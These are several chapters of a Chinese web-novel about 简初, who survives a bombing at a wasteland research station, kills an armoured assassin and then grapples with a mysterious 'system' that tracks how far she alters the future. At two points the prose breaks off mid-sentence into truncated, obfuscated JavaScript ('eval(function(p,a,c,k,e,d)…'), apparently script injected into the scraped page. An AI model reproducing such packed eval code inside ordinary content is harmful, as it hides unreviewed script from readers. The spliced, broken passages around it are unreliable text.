她伸手搓了搓手里资料的边缘，抿抿嘴唇仿佛下定决心，一把撕开封条翻开了第一页。 映入眼帘的是最上方的几个字。 “N58异化事故”初期调查报告。 140. 无人区（42） 无人区深处。 这是室内的某个角落，周围十分空旷，陈设不多，墙壁上依稀还能看出人工开凿的痕迹。 暗沉的门扉粗糙却又莫名精巧，缝隙里透出一点难以被人捕捉的微光，随着门扉大开而愈加明亮，直到有人从中走出，才重新合上。 “拜赐。”等候在门外的老者虔诚地行过礼，才表情不善地看向里头出来的青年人。 “已经是第二次了，就算有主恩赐，也不该如此不加节制。”他语带训斥，青年人也老老实实低下头，默不作声。 不知道是出于何种目的，老人只是凝视着他，不发一言，周围的空气逐渐变得沉重，让青年人的头几乎贴到胸口。 许久之后，老者终于看向别处：“算了，主没有怪罪于你。” “是我太弱了。”青年人头垂得更低了。 老人对此不置可否：“既然你不能自行解决麻烦，就只能由大家一起……” “不，请再给我一次机会。”青年人匍匐在地，整个人形同无骨，连肩膀都快要紧挨着地面，“只要我把东西夺回来，一切问题都会迎刃而解。” “要是你能自己解决，也不会又从这里出来。”老者长叹一声，“我们是一体的，不要拒绝大家的帮助。” 没有人回答他，只有青年人伏得更低的肩膀。 “唉，既然你意已决，那就再试一次吧。”老人转过身，不再看他。 “……感谢您的成全。” “走吧，现在出发，夺回属于你的东西。” 空旷的室内突然响起沉重的嗡鸣声，宛如冲锋的号角，又好似别离的丧钟。 …… 中控室内安静得很，除了设备运作时发出的轻微响动，就只有纸张翻动的声音。 对于简初来说，初期报告的价值并不大，它最重要的意义，大概就是让她摸清了研究所的调查方向，至少不用再担心自己有没有留下什么痕迹，又会不会某天突然被抓起来盘问。 但这也带来了一个更大的疑问——因思禾为什么要把这些告诉她？ 这份报告的格式漏洞百出，明显是一个平日里不太做材料的人弄出来的，不出所料应该是因思禾自行整理，形成了这份文件。 但仅凭两人之间短暂的相处，足够支撑这样的信任吗？更何况空间裂缝的事本就模棱两可，有心之人可以将其相互嵌合，形成一套还算合理的逻辑链，可无论如何，最终都很难逃出“那是一个幻境”的论调。 “我应该在哪里销毁这些东西？”简初的问题惊醒了有些瞌睡的李瑞千，她睁着朦胧的眼看过来，随手一指。 “墙角有销毁机，扔进去就好了。”李瑞千没有表现出任何好奇心，又转头托着下巴，核查刚刚更新的数据。 激光燎起细小的火苗，迅速将一整沓文件吞噬殆尽。 “这里也没别的事情，我先回房间……整理一些东西。”机器里的火苗逐渐熄灭，简初字里行间暗示刚刚的文件里有问题亟待解决，让其他人很难开口要求陪同。 所有人的房间都已经搬到中控室附近，毕竟留在站点的人屈指可数，大家住得近一些，有什么情况也方便相互照应。 “那我……”在门口。 “不必。”简初开口阻止了林豹双，动作间已经打开了中控室的大门，“不差这几步，我反正就在隔壁。” “但是！” 林豹双匆匆向前两步，但话音未落，就看见简初头也不回离开的背影，大约五秒后，隐约传来隔壁房门关闭的声音。 “别担心了，她说的对，就算有什么情况也不差这两步路的距离。”黎取朝林豹双摆手，示意她坐回去，“看样子应该是因博士交代了她什么，既然不想让其他人知道，我们就老老实实不要凑得太近，别引起误会。” 黎取的眼神从李瑞千身上飘了一下，但对方并没有任何反应。 “我当然知道。”林豹双叹了口气，倒也无法否认这话确实有道理，犹豫片刻只能重新在离门最近的位置坐下。 …… 尽管在地图上，无人区腹地有一个非常明确的边界，可实际上就算跨越这条界线，周围的幻境暂时也没有太大的变化。 趁着天色还算明亮，车队没有停下，而是带着轻微的轰鸣声向更深处疾驰而去。 “一点钟方向有三只异种，距离比较近，需要处理一下。”傅遥平静的语气中带着淡淡的疲惫，从一个小时之前开始，作战人员就在不断清扫周围被吸引而来的异种，可惜现在还不是能休息的时候。 “收到。”对讲机里传来有些失真的回应，很快，最前头的越野车便稍稍偏离原路线，冲向那几只已经能看见轮廓的异种。 甚至没有异种的哀嚎，只有沉闷的撞击声，夹杂着几下闷闷的枪声，一切在短短几分钟之内归于平静，很快，那辆越野重新出现在后视镜里，坠在了车队的最后。 加上后方支援的车辆，车队一共三辆车，每次都由最前面的那辆去处理附近的异种，然后回到车队的末尾，这样可以确保每个作战人员的异能和体力不会透支，恢复起来也快得很。 “可以稍微放松一点，附近的异种开始主动避开我们了。” “收到。” 傅燃放下手里的对讲机，视线不经意瞥向雷达，一切正如傅遥所说，异种们的光点在往远离车队的方向行进。 它们并不是什么完全无脑的生物，来自同类的血腥气是最好的风向标，告诉了它们有几头凶猛的虎鲨正在大开杀戒。 激光枪都放在各自的位置上充能，做这行的，已经都习惯了时刻保持最佳状态。 这辆车的氛围要沉闷许多，斯塔集团的安保们将米勒尔保护得相当好，甚至每次猎杀异种时，那位安保队长都寸步不离，一切都由他的副手代劳。 两方说不上有什么深重的仇恨，更多是道不同不相为谋，没什么闲聊的必要。 傅燃的眼神很不经意的从那位副手身上掠过，他已经认出林愿就是当时在斯塔集团追杀他们的人，她的异能出其不意，杀伤力很强，尽管最后造成的伤口并没能帮助抓到那个神秘人，但她的实力还是不可否认。 她比崔斯特要强。 许久之后，对讲机里终于传来声音，此时距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说实话，米勒尔对他一向还算是温声细语，但也许是因为心里有鬼，所以凯文心下忍不住疯狂突突，干笑着开口。 “有点好奇，没来过这种地方……” 凯文的理由也说不上有多不合理，米勒尔点点头算是认可了小孩子的好奇心。 时间迅速走过，辐射值也在以肉眼可见的速度攀升，在仪器屏幕上划出一个陡峭的高峰，外头的作战人员身上瞬间亮起一圈蒙蒙的荧光，这时要是有人从远处看过来，或许还以为是什么神迹。 当然，也可能是闹鬼了。 车内人员身上的光要暗上许多，有人已经掏出薄毯，准备在车上休息了。 “辐射值正常，各位把屏蔽仪开一下，在这里稍作休息，六个小时之后继续前行。” 影响前进的最大因素从辐射变成了众人的精力，一切才刚刚开始养精蓄锐确实是必要的，因此白天在车上休息的人主动担任了守夜的大部分任务。 傅燃透过车窗，看向远处地平线有些起伏不平的轮廓线，忍不住皱紧了眉头。 无人区深处的地貌，或许会超出预期。 141. 无人区（43） 是夜，万籁俱寂。 原本堪称拥挤的站点突然空了下来，同样带走了鲜活气，即便此时的室内是恒温的，却总莫名让人感觉有些冷。 “还没睡着？”听到隔壁翻动的声音，林豹双试探着轻声询问，过了十几秒，才得到一个温吞的回应。 “还不困，这几天我们要做什么？” 林豹双怀疑这人是觉得无聊了：“在他们回来之前就是一些日常工作，对了，后天研究所会送资源来，到时候需要整理。” 这样的日子于林豹双耳眼是可遇不可求的，他们平日常在不同的任务中奔波周旋，只可惜这样难得的空闲时光只能耗在无人区。 “虽然有点无聊，不过这样是最好的。”林豹双长叹一声，“因为只有出事才会忙起来。” “闲着挺好的。”简初又翻了个身，“你们特战中心经常和研究所合作吗？” 话题转移得太快，林豹双习惯性含糊回应这样的问题：“还好，上面让干啥就干啥。” “我看因博士和傅队长好像很熟悉，还以为她们经常合作。” 这个问题其实很正常，毕竟是两所不同机构的人，而且研究所和特战中心常常还会发生小龃龉，尽管吵来吵去都是万年不变的老问题。 “我也不太了解，只听说她们在联邦军校念书的时候关系就挺好了。”林豹双确实不了解情况，毕竟她也不算是特战中心的人。 “这样啊。” “不早了，赶紧休息吧。”以防简初再问些什么，林豹双赶紧结束对话，对方低声应了一句，房间里就只剩下两人的呼吸声。 规律的声音其实相当催眠，林豹双感觉自己的意识开始逐渐远去，从呼吸窗照进来的巴掌大的光圈随着防护光栅不停颤动，宛如水面漾起的皱褶。 下一秒，房间里的两人不约而同睁开了眼。 微不可察的破空声由远而近，在距离最近的时刻突然收声。 “轰——” 巨大的爆炸声淹没一切，身下的床板剧烈抖动，几乎要将人掀翻，简初瞬间鹞子翻身踩上地面，下一秒，天花板的砖块就掉在了床铺上。 耳鸣声让她听不见林豹双的话，只能依稀看到对方的嘴唇在动，年轻的女性朝她伸出手，下一秒却被火光淹没。 这是第二次爆炸。 林豹双一个猛冲，伸手揽过简初的肩膀，两人毫不犹豫冲向墙壁上被炸出的空洞，越过明亮的火焰，翻滚着落在了干涩的沙地上。 周围噼里啪啦掉了一地的建筑碎片，林豹双无心去管，转头就拉着简初冲向了另一侧的大门。 从被炸开的缺口逃离只是权宜之计，比起在外面当活靶子，楼里还是要更安全。 简初紧跟着前头的人，眩光让她视线模糊，伴随着激烈的耳鸣，她几乎难以判断周围的事物，尽管如此，她却如同受到神明指引般，一眼望见远处沙地上的人影。 黑色的、瘦削的影子，肩上却扛着一个巨大的炮筒。 也许是弹药只有两枚，那人没有继续开炮，而是扔下了武器，消失在了原地。 “他过来了。”简初开口，但是耳鸣让她无法确定自己有没有发出声音，但看林豹双的动作，对方似乎没有听到这句话。 “我们在一楼，赶紧过来。”林豹双扯着嗓子，很快楼梯上就出现几个匆忙的身影。 因为都在睡梦中，所以所有人衣衫都很单薄，胡宣甚至连鞋子都没穿就冲了出来。 “怎么了！怎么了！怎么爆炸了！” 没人去管他是如何慌张，大家都被灰头土脸从外头进来的两人吓到了。 “你们怎么在外面？！”李瑞千两步上前把人拉过来，但还没等她怎么样，林豹双就先看向了黎取。 “之后再说，有人朝这边投放炸弹……” “他过来了，我看见他把炮筒扔了，可能是弹药的数量不够。”简初赶紧开口，她的耳鸣已经迅速消失，虽然很模糊，但至少能听清周围人的交流。 因为床铺的位置，所以第一枚炸弹在距离她耳朵很近的地方爆炸了，导致她的情况要比林豹双严重不少。 “你耳朵好像流血了。”李瑞千表情严肃，“我已经向其他站点发送了求援信号，你们几个躲到地下室，其他人做好战斗准备！” “……我要去实验室拿东西。”一旁沉默的林颀不知道想起了什么，突然开口提出这个天方夜谭般的想法，他大概也知道不会有人同意，在抛下这句话的瞬间就立刻转身冲向了楼梯。 李瑞千根本来不及阻止：“你疯了！！！” 这群搞研究的怎么都这德行！ 没办法，负责保护林颀的作战人员只能硬着头皮，紧跟着冲了上去。 “没关系没关系，大门没那么容易进，他一露面我们就动手。”李瑞千握紧了颤抖的双手，不知道是在安慰别人还是在安慰自己。 她从来没有经历过这样的事情，跟着因思禾最多就是出入一些人迹罕至的研究场所，不会有人用枪……甚至用炮火对准她。 “不，二楼房间被炸开了。”简初突然出言提醒，“我们刚刚就是从被炸开的裂口逃到外面的。” 可还没来得及反应话里的含义，众人就听到身后的楼梯传来脚步声，对方走得很平稳，丝毫不见急躁。 这绝对不可能是匆忙冲上实验室的林颀。 “砰！” 沉闷的枪声突然炸响，简初瞬间侧身，一道锐光从眼角亮起，擦过她的脸颊，带起几根断发飞驰而过，“咚”的一声嵌进了墙壁里。 这不是子弹，而是一柄细而薄的刀刃，但外形又和普通的刀不太一样，两侧宽波浪形的设计很少见，按照常理这样反而会影响切割效果。 众人警惕回头，看着一个人影走下楼梯，他的上半身覆盖着一层金属色的软甲，在单薄的无袖衫下闪着冷光。 这身金属装备拉响了简初脑内的警报，眼前这人和此前袭击启明星的人绝对来自同一个组织的。 “你是什么人？”黎取突然开口，不仅是为了拖延对方的行动，更是想要套取更多的信息。 可惜对方并没有回答，他的视线在屋里转了一圈，最后落在了简初身上。 又是来找她的，简初的后背瞬间爬满了寒意。 究竟是什么人，这样一而再再而三地找她麻烦，她印象中并没有和类似的组织结怨，没道理会找到她头上来。 林豹双和黎取也看出了问题，两人一左一右挡在最前方，将简初一众人遮得严严实实，剩下两名作战人员也是在侧面严防死守。 “豹子。”黎取突然开口，一直以来的协作让林豹双瞬间理解对方的意思，可几乎是同一瞬间，楼梯上的人影消失了。 被野兽锁定的感觉爬上脊背，简初猛然抬头，小触手“唰”得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚刚准备离开实验室的林颀猛然停下脚步，多走一步他就会瞬间从三楼的高度坠落，身后的作战人员一把拉住他，也不管脚下的废墟会不会埋着谁，就顺着倾斜的墙面飞速而下，从防护门上方一跃而过，落在了小院里。 “砰！” 破碎的声响给小楼的坍塌按下加速键，满天灰尘中他只能看到一道黑影被甩飞出去，砸在与地面呈60度角的墙面上，上方苦苦支撑的建筑体瞬间倒下，无情地砸在那人身上。 作战人员下意识想要上前救援，就看见几个灰头土脸的人从满天烟尘中窜出来，所有人头发，乃至眉毛、睫毛上全是灰白的粉尘，但人数却是一个不少。 胡宣已经站不稳了，他只是一个普通人，失去防护暴露在这样高强度的辐射之下，心中的恐慌比真实的痛苦来得更早。 林颀一把从口袋里摸出两颗药片，也没有水，就这么生生咽了下去，还不忘一把掐住胡宣的脖子，将另一片药塞进了他嘴里。 强烈的苦涩顿时充斥了胡宣的口腔，但此时这种味道却是救命的信号。 谢谢。他哼哧两声，硬是被药片堵住没能发出声音。 “赶紧走！”李瑞千大喊。 楼已经坍塌，防护光栅受到影响开始闪烁，估计要不了几分钟就会完全坏掉，再留在这里已经没有意义了。 趁那人生死不明，他们要尽快远离这个地方。 “我们得杀了他。” 林豹双的脑海里刚刚闪过这个念头，下一秒就有嘴替替她说出了这句话。 “趁他病要他命，我们要杀了他。” 她扭头，看见了被什么砸破脑袋的简初，鲜红的血液混着尘土，让对方甚至只能睁开一只眼睛。 但那只眼睛里却射出凛然的杀意。 142. 无人区（44） 简初随手擦掉渗进眼中的鲜血，红色被涂抹开来，留下一条条交错的轨迹。 “我赞同。”黎取看向另外两名作战人员，“但这是我们的事情，带他们离开，豹子和我留下。” 一切几乎在几秒之内就定夺下来，林豹双原以为简初会试图留下——年轻气盛的青年人，受到伤害便燃起熊熊怒火，但这并不能帮助她击败一个强大的敌人。 她没有那样的能力。 简初用被鲜血染红的瞳仁轻飘飘看了他们最后一眼，转头跟着李瑞千向远处奔去，林豹双深吸一口气，和黎取交换了眼神，紧接着两人不约而同看向身后的废墟。 地面上成堆的砖石突然动了一下，仿佛有什么即将破土而出，而他们也并不会愚蠢到给敌人喘息的时间。 “他就在那。”黎取的眼底闪过一丝光亮，几乎是话音落地的同时，林豹双猛然双手合十，在空中发出清脆的掌声。 “轰！” 被顶落的砖石尚未落地，就受到来自左右的挤压，无形的空气墙即将压碎中间的建筑废料，却突然遇到了障碍。 “不行，他的铠甲硬度太高。”林豹双咬牙，颤抖的双手陡然交握，空气墙又向内缩进几分，却依然陷入了焦灼的对峙。 “成功率太低了，放手！” 黎取快速说完迅速拔枪，坚硬的空气墙瞬间消散，子弹卡着时间丝滑钻入，“当啷”一声和神秘人抬手扔出的波状刃撞在了一起。 一道细微的“咔嚓”声，那柄刀突然炸开，波浪状的刀刃瞬间交错，变成一枚镂空的锥形利器，不仅弹开了子弹，甚至还顺势飞向林豹双的面门。 对方显然清楚在场的两人谁更具有威胁，这招数虽然出其不意，但同样被子弹削弱速度的利器并不会伤到林豹双，她只是微微侧头，就躲开了这一下。 “呵。” 掠过林豹双的利器陡然加速，沿着一条奇异的弧线飞速射向逃离的那群人。 他的目标根本不是自己！ 林豹双内心大骇，几人还没有跑出很远，借着月色，他们完全可以看到几个手指大小的人影。她刚刚祈祷这一招会被人阻挡，就看见利器被阻挡时迸溅的火花，不禁狠狠松了一口气。 神秘人眉头紧锁，看上去开始有些焦躁。 “不好，他想跑！”黎取抢先一步“看到”对方的行动轨迹，可惜主动方永远占据先手优势，话音未落，那人就双腿蓄力，一个猛冲从他们头顶一跃而过，只在空中留下一团细密的粉尘。 前方的空气突然出现细微的波动，神秘人意识到了什么，脚下一顿便以惊人的角度斜射而去，避开了原本路径上被压缩的空气团。 林豹双咬紧牙关，脑海中思绪纷飞。 这人的战斗力相当异常，他要是乖乖留下迎战，她和黎取两人或许可以携手解决这个麻烦，但问题就是对方目标明确，几乎不在他们身上浪费一点时间。 简初究竟怎么惹上这号人的？！ 但现在不是思考这种问题的时候，虽然没有类似异能的加持，但作为协会的中坚力量，林豹双和黎取的身体素质也强得可怕，两人第一时间调转方向，他们并没有跟随那人的路径，而是直接奔向还没跑远的一行人。 一场苦斗不可避免。 “豹子！”林豹双突然听到身后传来黎取的喊声，其中带着前所未有的惊慌，让她立即明白了黎取看到了不太好的东西。 此时，黎取的视线中一个明晃晃的、鲜红的“87%”出现在简初的背影上，预示着神秘人即将对她发动命中率超高的攻击。 接二连三使用异能让林豹双的脑海传来微微的刺痛，但这显然不是极限，迫切的形势让她陷入极度冷静，林豹双已经意识到那人之所以能抵御她的异能，大概率是那套金属甲的功劳，既然如此，他们只要从没有保护的部位下手就行。 对方即将逃离她异能的使用范围，林豹双猛然单手旋转，某处的空气像被拧干的毛巾般皱起，那人伸出的手被卷入其中，就算此时他已经看见空中的纹路，也来不及完全收手。 无名指和小指瞬间被搅碎，掉了一地的肉沫。 神秘人吃痛的闷哼暴露了他的方位，下一秒，作战人员的攻击迎面而来，受伤的痛楚让他眼神变得阴冷，身后的追兵近在咫尺，但即便如此，他也没有退缩的意思，而是孤注一掷，再次朝简初举起了手。 作战人员的注意力此时都被袭击者吸引，使得简初周围出现了不足两秒的真空期，让不远处的林豹双大脑一片空白。 作战本能瞬间被激活，一堵空气墙在简初背后拔地而起，与此同时林豹双瞄准袭击者的脚腕骨狠狠一拧！ 下一秒，被那人抛出的东西撞在空气墙上，热烈的火光和震荡的气浪瞬间炸开，将所有人掀翻，身体素质比较差的胡宣仰在地面上，噗嗤吐出一口鲜血。 他自己也想不到，明明是几人中离简初最远的，现在却伤得最重，身下虽然是沙地，但撞上去硬度也相当可观，几乎将他五脏六腑都撞碎。 不如就这样晕倒算了。 不知道是不是为了应和他的心声，下一秒他竟然真的两眼一翻晕了过去。 其他人的状态也不好，饶是林豹双也想不到对方手上竟然还有这种杀伤性武器。 空气墙某种程度上削弱了爆炸的威力，但她懊悔的是本来也许有机会封闭空间，从而控制爆炸的范围。 但人不是万能的，没办法预测到一切，就算是黎取的异能也不可以，因为总有未知的事物超出计划之外。 扬起的沙尘迅速沉落，林豹双看清场中站立的人，瞳孔紧缩。 他的脚腕完好无损，金属甲不知何时从胸口收敛，暴露出心口的重要部位，却护住了被瞄准的脚腕骨。 黎取剧烈地喘息，眼睁睁看着覆盖的金属缓慢爬升，重新裹住对方的胸口，视野里瞬间掉落的数据随之缓慢回升。 尽管不知道那是什么东西，但其危险性不言而喻。 “要糟。”他喃喃自语。 就在这时，他们突然看见了消散烟尘里站立着的第二个人。 简初伸手挥开笼罩在周围的沙尘，低声咳嗽了两声，哑着嗓子开口：“我说啊，我认识你吗？” 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对峙中的双方几乎同时动手，简初眼底闪过一丝莹蓝色的光亮，没有人知道她眼中的世界已经换了一副模样。 在【物质扫描】的帮助之下，被昏暗月色掩映的身形暴露无遗，金属软甲变成一大块黑色的阴影，其他没有受到保护的部位则是不断流窜着蓝色的脉络。 只有简初能看到的触手拔地而起，其他人看见神秘人亮出的刀刃，一直倒地伪装的作战人员突然弹起，一左一右发起攻击，身后不远处的林豹双同样瞬间发动了异能。 从稀薄土壤中凝结而成的如毛银针刺进裸露的手掌、小腿，带来一阵细密的刺痛，但对于战况几乎没有影响，尽管神秘人一直有所警戒，感受到这挠痒痒般的攻击，还是忍不住心中嘲讽。 但就在这时，他再次感受到什么东西卷住了脚腕。 看不见的、却粗壮有力，巨大的力道要将自己甩到一边，但他早有准备，知道抵抗无用，便顺着力道一个后仰滞空，顺便躲开了其他的攻击。 “他为什么突然后撤了？”黎取的眼睛酸痛，视野中的数据疯狂跳动，几乎在一个极端与另一个极端之间摇摆不定。 不，一定有什么因素被他忽视，却被潜意识捕捉到了。 “还真难缠。”那人突然开口，面色不善地抛出一个物体，没有人看清它是什么，就听见一声轻微的“噗叽”，好像有什么液体被挤压出来，下一秒，一个巨大的漩涡出现在了简初背后。 黎取视线里的数字突然飙到了“100%”。 “不能让他们进去！” 但已经来不及了。 就在他开口的瞬间，神秘人宛如一颗巨大的炮弹，在所有注意力被漩涡吸引的瞬间撞上简初，两人眨眼倒飞出去，落进了漩涡之中！ 下一秒，漩涡如同断电的电视屏幕，闪过一道十字星，消失在了原地。 同样消失的还有那个神秘人…… 和简初。 143. 无人区（45） 简初的胸口抵着一把尖刀，正在试图穿透她的胸膛，但小触手也不是吃素的，它一边护住简初的心窝，一边紧紧缠绕敌人的手臂与之抗衡。 四周全是散落的微光，但不过两秒，就重新变成被寥落月光照射着的沙地。那道漩涡是典型的短距离传送，显然是由异能凝结而成的一次性用品。 为什么……刺不进去？ 青年人咬紧牙关，甚至用另一只手托住刀柄借力，但下一秒，有第三只手握了上来，他能感受到接触的皮肤间有冷凝粘稠的血液，下意识抬眼，却撞上一双深邃的眼眸。 多么美丽的眼睛，里面仿佛装着一整个宇宙，又像是精美易碎的琉璃，要把人的意识纳入其中。 那双眼睛的主人拥有格外熟悉的脸，布满沟壑的皮肤诉说着风霜。而此时对方正失望地看着他。 “你又失败了。” 嘴唇甚至都没有动，但他的脑海里就是出现了这句话，可怎么会呢，他怎么会又失败呢，明明还没活着啊。 简初感觉到抵着胸口的刀没了力气，便谨慎地往后退了一步，打量这张让她印象深刻的面容。 这人竟然还活着，所以她此前在无人区的那场幻觉，果然是她潜意识里太想让他死了吗？ 对方皮肤虽然粗糙，却并没有任何伤痕，这才短短几天，正常情况下伤口应当还没有愈合，也就是说对方诶后确实有其他人支持，或许是治疗系的异能者，又或许是先进的治疗舱，总归不是一只独狼。 那他们之间是私仇，还是…… 简初看着这人颤抖着手，双腿慢慢弯曲，看样子竟然要跪下。她不清楚对方究竟看到了怎样的幻觉，毕竟双方对彼此都警惕得很，很难陷入精心编制的幻境，她只能靠这些小手段来稍稍动摇对方的心境。 但显然这样的手段维持不了多久。 “我没有失败！” 不过几秒，甚至青年人只是弯下双腿，就大喊一声猛然清醒，他满脸都是汗珠，抬头寻找简初的踪迹，迎面而来的却是一团汹涌的火苗。 巨大的热浪扑面，接二连三的箭矢带着破空之声激射而来，他只能匆忙翻滚，沙地上留下一个又一个坑洞，但其中却没有武器的踪迹，让他怀疑自己仍处于幻觉之中。 落空的箭矢重新化作泥土混入沙地，却成为了最好的掩饰。 小触手已经悄悄来到了另一侧，循着那人滚动的轨迹寻找合适的下手机会，下一秒，它带着些微破空声，准确刺向那人的后脑。 “铿！” 金器碰撞声响起，带着奇异的回响，被金属甲覆盖到小指尖的手准确握住了近在咫尺的触手，他却什么都看不见，只能压下内心的惶恐努力将掌心空气一样无形的东西用力拉开。 “别想着用同一招伤到我。” 他冷哼一声，言语间显露自得，可还没等他喘匀了气，手心的物体突然变得柔软，如同一条阴冷的蛇缠绕上手腕，青年人心中警铃大作，猛然鲤鱼打挺，想要将其甩开，可眼睑还是躲闪不及，被划开一道深深的伤口。 鲜血汩汩淌下，两人竟巧合般拥有了同样狼狈的造型。 “真巧。”简初伸手抠了抠脸上的血痂。额头的伤口仍然传来一阵阵的闷痛，但这点伤口还不至于让她立即读档。 上一秒好像语气平和，下一秒她的身影毫无预兆地消失在原地。 四周的火焰如同绽开的花朵，强光让人睁不开眼，紧接着就是不断响起的撞击声。 对方身上的金属护甲仿佛活了一半，不停在身体各处游走，努力而精准地挡下了小触手的攻击，但它蔓延的速度还不够快，时不时会漏掉一些非关键部位的攻击，不过两秒，青年人四肢就出现了好几条伤口。 但他的眼里却只有那道从天而降的身影。 简初手里虚握着小触手——在她的掌控下，小触手比自主行动时更加强壮，未灭的火光将她的半边脸照亮，却让陷入黑暗中的另外半张脸变得更加可怖。 她要刺入自己的胸口，还是喉咙，又或者是脑袋？ 青年人心底天人交战，金属甲不断向上涌去，试图保护他预期中的重要部位，可空中纷扬的火星却被什么带起，扑棱了两下，被裹挟着飞向他的双腿。 “啊——” 撕心裂肺的喊声响彻夜空，眼泪冲刷掉脸上的血迹，留下一道道滑稽的白杠。简初翻身落地，垂眼看着他在地上蜷缩成一团，环抱着自己失去双脚的腿。 “谁让你来杀我的？”她问。 回答她的是一双布满血丝却毫不掩饰仇恨的眼睛，但简初只觉得莫名其妙。 “还是那个问题，我认识你吗？” “卑劣的强盗，事到如今竟然还装作无辜。”青年人的话有些咬文嚼字，尽管每个字简初都认识，拼凑在一起的内涵却让人读不懂。 她上前两步蹲下，驱使小触手戳了戳对方脸上的伤口。 “那你倒是说说，我抢你什么了，我根本都没见过你。”简初这副模样在对方眼中十足可恨。 隐秘的反光从眼底一闪而过，简初压低眉头，丝毫不动，身边的小触手已经替她挡下了这招偷袭，眨眼间半截手掌飞起，落在一旁的地面上，金属甲蔓延过来，却已经晚了。 “啊、呃……” 地上的人紧紧攥住自己的手腕，喉咙里发出破碎的哽咽，眼神却变得愈加疯狂：“杀了我，但杀了我你也逃不掉的……呵呵呵呵呵……” 简初掏了掏耳朵，冷笑一声。 小触手刺入了对方两眼之间的位置。 对方发出两句疯狂的笑声，却如同被吹灭的蜡烛，最后的火星扑闪了两下，随后便熄灭了，他意识到自己被杀死了，可脸上却露出一丝莫名的笑意。 “毛病。”简初嫌弃地翻了个白眼，小触手扭动两下，把血迹擦回对方的的衣服上，覆盖着尸体的金属突然开始回缩，仿佛即将从一个看不见的出水口倾泻而出。 简初下意识伸出手阻止，却被什么猛然烫了一下。 “噔噔噔！” “读取锚点（2/2），关键节点更定，偏移度+6。” 系统的声音闯入耳朵的瞬间，简初眼前一黑，下意识闭上了眼。 不，她并不想闭眼，但有什么摁住了她的眼皮，等这莫名的力量消失，她眼前已经是自己房间内的天花板。 简初猛然坐起身，胸口剧烈起伏。突然的抽离让她感觉血压升高，有些晕眩。 月光透过没拉紧的窗帘照进来，在地板上积了一层薄雪，她花了几秒钟来反应这个画面，却突然想到了什 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迄今为止，系统通报里的“偏移度”加起来刚好是33，如果这是一个百分制的进度条，那她已经走完了三分之一，可这个进度条的尽头是什么呢？ “关键节点更定”这六个字让人胆寒，它的字面意思再明显不过，如果自己真的在改变事物的发展轨迹，那它通向的未来究竟是好是坏？ 还有最最重要的一点—— 系统是根据什么做出判定的。 如果它知道一切被改变之前会发生什么，那就说明……它知晓未来？ 简初用力揉了揉自己的头发，睡前清洗过的干燥头发和糊满血液的触感简直是云泥之别，但她此时只觉得头痛欲裂。 系统过往的每一次任务都变得微妙起来，它好像一直在将自己往“改变未来”的道路上推，要命的是她还没有办法拒绝。 甚至……它还曾经给自己看过“原来的剧本”。 无人区里，被卷上天际的越野车从简初脑内一闪而过，可下一秒太阳穴爆发出剧烈的疼痛，她猛地伸手扣住桌面，整个人匍匐在桌面上，忍下令人欲呕的晕眩和剧痛。 大脑里好像被什么翻动，甚至还能听见飘渺的嗡鸣。 “放空自己，什么都不要想。” 简初突然听见了系统的声音，她想要开口质问，但一张嘴就是痛苦的干呕。 “不要再想了！” 一声厉喝，让简初咬牙驱赶脑中成堆的思绪，但疼痛却没有丝毫的减弱，她急促地喘了两口气，艰难抬眼看见桌面上的抽纸。 “这是……一盒抽纸……” “我上个月买了它，洁白柔软富有韧性，就算是沾了水也不会轻易破裂……” “可是它用得很快，所以我每次都会买很多……” 然后简初看向一旁的花瓶，更远处的书柜，和里面摆放的模型和书籍，甚至是门上的挂钩。 各种毫不相干的信息凌乱地占据了她的大脑，随之而来的是逐渐消失的疼痛。 她微微抬起头，眼神中满是无神的迷茫。 汗水顺着濡湿的鬓发滴下，“噗通”一声，汗滴和人一起栽倒在地。 144. 无人区（46） “滴滴滴，滴滴滴——” 突如其来的闹铃将简初从黑甜的睡梦中唤醒，不管这具身体经历了什么，精神上的疲惫总是无法抹除的。她挣扎了好一会，直到闹钟第二次响起，才勉强抬起眼皮。 阳光从窗帘的缝隙照进来，把头顶的天花板照亮了一条，白得晃眼，简初平复着有些急促的心跳，倚靠在床头。 奇怪，昨天晚上后来发生了什么，她怎么没有回来睡觉的印象？ “嘶！” 简初伸手揉了揉额角，却摸到一个鸡蛋大的肿块，指尖沾了油润的液体，她皱眉放在鼻子下闻了闻，却闻到一股药水味。 这是怎么回事？ 不远处突然传来手机的振动声，她抬头看过去，才发现卧室的房门也没关，手机正躺在客厅的桌面上。 她记得自己在看本子，然后因为想到了什么开始头疼。 虽然还记得自己分析的内容，但系统的警示让简初下意识不敢再去思考那些事，她走下床拿起手机，上面是一个眼熟的、没有备注的号码。 “简女士？我还以为你没睡醒。”电话那头传来宋也温和的声音，不过说的话就没有那么客气了，“既然已经醒了，还麻烦你赶紧来一趟，越快越好。” 简初冷脸耷拉着眼皮，应了一句便挂掉了电话，另一头的宋也看着被挂断的手机露出若有所思的表情。 “怎么了，她不来？”一旁的路玺小声问。 宋也摇摇头：“没有的事，她会来，不过就是……” “就是什么？” “就是……听上去好像不太开心。” 就算是睡了一觉，频繁在两个世界切换还是让简初感觉到力不从心，她揉着额头的包，长叹了一口气。 前往蓝湾总队之前，她得回忆一下之前都发生了些什么，虽然就是昨天之前的事，但对于她来说已经过去好几天，更别提这中间还发生了那么多糟心事。 她手里还有集会、猎杀两个系统任务呢。 简初大概能猜到这次过去是为了什么，再忙她也不会忘记这最重要的事。 集会要到了。 …… 蓝湾总队还是一派忙碌。 简初轻车熟路绕行到大楼背后，使用专用电梯来到了顶楼——为了避人耳目，大多数时候她和温南都是从这里上去。 没有人会问前几天他们做了什么，大家对此心照不宣。 “早上好。”温南第一个看见她，高兴地打了个招呼，尽管现在已经十点多了。 “早。”简初点点头，注意到宋也看向她的眼神有些奇怪，她回想了“昨天”的交流，好像明白对方为什么用这种眼神看她。 尽管不知道他们为何会突然怀疑起F的身份，但这些本来就在简初的预期中，现在有没有这层身份其实已经没有太大的影响了。 不过有机会的话，她还是想知道答案。 顶着这个几乎算是公开的秘密，简初淡定地扮演自己的角色。 